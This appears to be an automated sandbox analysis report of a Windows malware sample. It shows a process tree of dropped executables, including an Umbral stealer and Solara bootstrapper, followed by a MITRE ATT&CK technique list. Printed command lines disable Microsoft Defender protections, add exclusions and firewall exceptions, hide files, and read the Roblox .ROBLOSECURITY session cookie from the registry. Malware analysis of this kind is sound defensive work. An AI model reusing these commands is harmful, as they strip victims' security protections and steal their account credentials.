- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\SolaraBootstraper.exe
    SolaraBootstraper.exe
    3⤵
    PID:6348
  - - C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
      4⤵
      PID:2676
  - - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      PID:3816
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:6856
    - - C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        5⤵
        Views/modifies file attributes
        
        PID:6288
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6488
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        
        PID:6900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:7444
  - - C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe
      "C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe"
      4⤵
      PID:6352
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\!FIXInj.exe" "!FIXInj.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im ctfmon.exe
    3⤵
    - Kills process with taskkill
    PID:6596
- - C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\wim.dll
    wim.dll
    3⤵
    PID:4784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wim_2e086ce4-b2ca-4c43-9154-f4e790d0e965\load.cmd" "
      4⤵
      PID:6668
    - - C:\Program Files\VideoLAN\VLC\vlc.exe
        
        "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\wim_2e086ce4-b2ca-4c43-9154-f4e790d0e965\cringe.mp4"
        5⤵
        
        PID:4820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\web2.htm
    3⤵
    PID:8000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffcac243cb8,0x7ffcac243cc8,0x7ffcac243cd8
      4⤵
      PID:5244
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" cryptext.dll,CryptExtOpenCER C:\Users\Admin\AppData\Local\Temp\vir_a31cbce7-7704-4354-b64c-cb689ae38928\xcer.cer
    3⤵
    PID:1568

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4280

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5476

C:\Windows\system32\efsui.exe
efsui.exe /efs /keybackup
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5500 -ip 5500
1⤵
PID:5660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5144

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004D0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6116

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5632

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2296

C:\Users\Admin\AppData\Local\Temp\7zS1C5F.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS1C5F.tmp\Install.exe 1g /XTedidEJfJ 385118 /S
1⤵
PID:7980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6172
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5716

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:3896

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7096

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6928

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
1⤵
PID:10572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery